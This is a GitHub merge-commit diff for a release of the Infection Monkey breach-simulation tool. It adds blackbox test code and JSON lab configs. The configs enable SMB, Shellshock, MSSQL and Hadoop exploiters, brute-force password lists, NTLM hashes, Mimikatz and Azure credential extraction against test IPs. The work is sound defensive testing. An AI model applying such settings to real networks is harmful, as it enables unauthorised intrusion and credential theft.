Merge pull request #455 from guardicore/release/1.7

Release/1.7.0 - Zero Trust, ATT&CK, and others
This commit is contained in:
Shay Nehmad 2019-10-07 16:00:45 +03:00 committed by GitHub
commit 6c5c6e59bd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
369 changed files with 15430 additions and 2955 deletions

View File

@ -3,12 +3,6 @@ language: python
cache: pip
python:
- 2.7
- 3.6
matrix:
include:
- python: 3.7
dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069)
sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069)
install:
#- pip install -r requirements.txt
- pip install flake8 # pytest # add another testing frameworks later

View File

@ -2,11 +2,13 @@
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
Are you about to report a bug? Sorry to hear it. Here's our
[Issue tracker](https://github.com/guardicore/monkey/issues).
Please try to be as specific as you can about your problem; try to include steps
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
If you want to contribute new code or fix bugs..
If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
## Submitting code
@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c
* **Don't** leave your pull request description blank.
* **Do** license your code as GPLv3.
Also, please submit PRs to the develop branch.
Also, please submit PRs to the `develop` branch.
#### Unit tests
**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same
filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
Please try to read some of the existing unit testing code, so you can see some examples.
#### Branch naming scheme
**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example,
`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
## Issues
* **Do** write a detailed description of your bug and use a descriptive title.

View File

@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* Multiple exploit methods:
* SSH
* SMB
* RDP
* WMI
* Shellshock
* Conficker

View File

@ -13,9 +13,10 @@ Don't forget to add python to PATH or do so while installing it via this script.
## Linux
You must have root permissions, but there is no need to run the script as root.<br>
You must have root permissions, but don't run the script as root.<br>
Launch deploy_linux.sh from scripts directory.<br>
First argument is an empty directory (script can create one) and second is branch you want to clone.
First argument should be an empty directory (script can create one, default is ./infection_monkey) and second is the branch you want to clone (develop by default).
Choose a directory where you have all the relevant permissions, for e.g. /home/your_username
Example usages:<br>
./deploy_linux.sh (deploys under ./infection_monkey)<br>
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)<br>

View File

@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
$MONKEY_DIR = "\monkey\infection_monkey"
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
$MK32_DLL = "mk32.dll"
$MK64_DLL = "mk64.dll"

View File

@ -81,8 +81,7 @@ wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
# Allow them to be executed
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
# Get machine type/kernel version
kernel=`uname -m`
@ -130,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error
# Build samba
log_message "Building samba binaries"
sudo apt-get install gcc-multilib
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
sudo chmod +x ./build.sh || handle_error
./build.sh

0
envs/__init__.py Normal file
View File

1
envs/monkey_zoo/.gitignore vendored Normal file
View File

@ -0,0 +1 @@
logs/

View File

View File

@ -0,0 +1,19 @@
# Automatic blackbox tests
### Prerequisites
1. Download google sdk: https://cloud.google.com/sdk/docs/
2. Download service account key for MonkeyZoo project (if you deployed MonkeyZoo via terraform scripts then you already have it).
GCP console -> IAM -> service accounts(you can use the same key used to authenticate terraform scripts)
3. Deploy the relevant branch + complied executables to the Island machine on GCP.
### Running the tests
In order to execute the entire test suite, you must know the external IP of the Island machine on GCP. You can find
this information in the GCP Console `Compute Engine/VM Instances` under _External IP_.
#### Running in command line
Run the following command:
`monkey\envs\monkey_zoo\blackbox>python -m pytest --island=35.207.152.72:5000 test_blackbox.py`
#### Running in PyCharm
Configure a PyTest configuration with the additional argument `--island=35.207.152.72` on the
`monkey\envs\monkey_zoo\blackbox`.

View File

View File

@ -0,0 +1,17 @@
LOG_INIT_MESSAGE = "Analysis didn't run."
class AnalyzerLog(object):
def __init__(self, analyzer_name):
self.contents = LOG_INIT_MESSAGE
self.name = analyzer_name
def clear(self):
self.contents = ""
def add_entry(self, message):
self.contents = "{}\n{}".format(self.contents, message)
def get_contents(self):
return "{}: {}\n".format(self.name, self.contents)

View File

@ -0,0 +1,24 @@
from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog
class CommunicationAnalyzer(object):
def __init__(self, island_client, machine_ips):
self.island_client = island_client
self.machine_ips = machine_ips
self.log = AnalyzerLog(self.__class__.__name__)
def analyze_test_results(self):
self.log.clear()
all_monkeys_communicated = True
for machine_ip in self.machine_ips:
if not self.did_monkey_communicate_back(machine_ip):
self.log.add_entry("Monkey from {} didn't communicate back".format(machine_ip))
all_monkeys_communicated = False
else:
self.log.add_entry("Monkey from {} communicated back".format(machine_ip))
return all_monkeys_communicated
def did_monkey_communicate_back(self, machine_ip):
query = {'ip_addresses': {'$elemMatch': {'$eq': machine_ip}}}
return len(self.island_client.find_monkeys_in_db(query)) > 0

View File

@ -0,0 +1,11 @@
import pytest
def pytest_addoption(parser):
parser.addoption("--island", action="store", default="",
help="Specify the Monkey Island address (host+port).")
@pytest.fixture(scope='module')
def island(request):
return request.config.getoption("--island")

View File

@ -0,0 +1,18 @@
import json
import os
class IslandConfigParser(object):
def __init__(self, config_filename):
self.config_raw = open(IslandConfigParser.get_conf_file_path(config_filename), 'r').read()
self.config_json = json.loads(self.config_raw)
def get_ips_of_targets(self):
return self.config_json['basic_network']['general']['subnet_scan_list']
@staticmethod
def get_conf_file_path(conf_file_name):
return os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
"island_configs",
conf_file_name)

View File

@ -0,0 +1,87 @@
from time import sleep
import json
import logging
from bson import json_util
from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
MONKEY_TEST_ENDPOINT = 'api/test/monkey'
LOG_TEST_ENDPOINT = 'api/test/log'
LOGGER = logging.getLogger(__name__)
def avoid_race_condition(func):
sleep(SLEEP_BETWEEN_REQUESTS_SECONDS)
return func
class MonkeyIslandClient(object):
def __init__(self, server_address):
self.requests = MonkeyIslandRequests(server_address)
def get_api_status(self):
return self.requests.get("api")
@avoid_race_condition
def import_config(self, config_contents):
_ = self.requests.post("api/configuration/island", data=config_contents)
@avoid_race_condition
def run_monkey_local(self):
response = self.requests.post_json("api/local-monkey", dict_data={"action": "run"})
if MonkeyIslandClient.monkey_ran_successfully(response):
LOGGER.info("Running the monkey.")
else:
LOGGER.error("Failed to run the monkey.")
assert False
@staticmethod
def monkey_ran_successfully(response):
return response.ok and json.loads(response.content)['is_running']
@avoid_race_condition
def kill_all_monkeys(self):
if self.requests.get("api", {"action": "killall"}).ok:
LOGGER.info("Killing all monkeys after the test.")
else:
LOGGER.error("Failed to kill all monkeys.")
assert False
@avoid_race_condition
def reset_env(self):
if self.requests.get("api", {"action": "reset"}).ok:
LOGGER.info("Resetting environment after the test.")
else:
LOGGER.error("Failed to reset the environment.")
assert False
def find_monkeys_in_db(self, query):
if query is None:
raise TypeError
response = self.requests.get(MONKEY_TEST_ENDPOINT,
MonkeyIslandClient.form_find_query_for_request(query))
return MonkeyIslandClient.get_test_query_results(response)
def get_all_monkeys_from_db(self):
response = self.requests.get(MONKEY_TEST_ENDPOINT,
MonkeyIslandClient.form_find_query_for_request(None))
return MonkeyIslandClient.get_test_query_results(response)
def find_log_in_db(self, query):
response = self.requests.get(LOG_TEST_ENDPOINT,
MonkeyIslandClient.form_find_query_for_request(query))
return MonkeyIslandClient.get_test_query_results(response)
@staticmethod
def form_find_query_for_request(query):
return {'find_query': json_util.dumps(query)}
@staticmethod
def get_test_query_results(response):
return json.loads(response.content)['results']
def is_all_monkeys_dead(self):
query = {'dead': False}
return len(self.find_monkeys_in_db(query)) == 0

View File

@ -0,0 +1,49 @@
import requests
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
import logging
NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
'8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
LOGGER = logging.getLogger(__name__)
class MonkeyIslandRequests(object):
def __init__(self, server_address):
self.addr = "https://{IP}/".format(IP=server_address)
self.token = self.try_get_jwt_from_server()
def try_get_jwt_from_server(self):
try:
return self.get_jwt_from_server()
except requests.ConnectionError as err:
LOGGER.error(
"Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr))
assert False
def get_jwt_from_server(self):
resp = requests.post(self.addr + "api/auth",
json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS},
verify=False)
return resp.json()["access_token"]
def get(self, url, data=None):
return requests.get(self.addr + url,
headers=self.get_jwt_header(),
params=data,
verify=False)
def post(self, url, data):
return requests.post(self.addr + url,
data=data,
headers=self.get_jwt_header(),
verify=False)
def post_json(self, url, dict_data):
return requests.post(self.addr + url,
json=dict_data,
headers=self.get_jwt_header(),
verify=False)
def get_jwt_header(self):
return {"Authorization": "JWT " + self.token}

View File

@ -0,0 +1,184 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!",
"1234",
"password",
"12345678"
],
"exploit_user_list": [
"Administrator",
"root",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.4",
"10.2.2.5"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"ElasticGroovyExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 1,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,186 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!",
"1234",
"password",
"12345678"
],
"exploit_user_list": [
"Administrator",
"root",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.3",
"10.2.2.10"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"HadoopExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [
"e1c0dc690821c13b10a41dccfc72e43a"
],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 1,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,183 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!",
"Xk8VDTsC",
"password",
"12345678"
],
"exploit_user_list": [
"Administrator",
"m0nk3y",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.16"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"MSSQLExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 1,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,183 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!",
"1234",
"password",
"12345678"
],
"exploit_user_list": [
"Administrator",
"root",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.38"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"ShellShockExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 1,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,182 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!",
"Ivrrw5zEzs"
],
"exploit_user_list": [
"Administrator",
"m0nk3y",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.44",
"10.2.2.15"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"SmbExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 1,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,180 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!"
],
"exploit_user_list": [
"Administrator",
"m0nk3y",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.15"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"SmbExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [ "f7e457346f7743daece17258667c936d" ],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 1,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
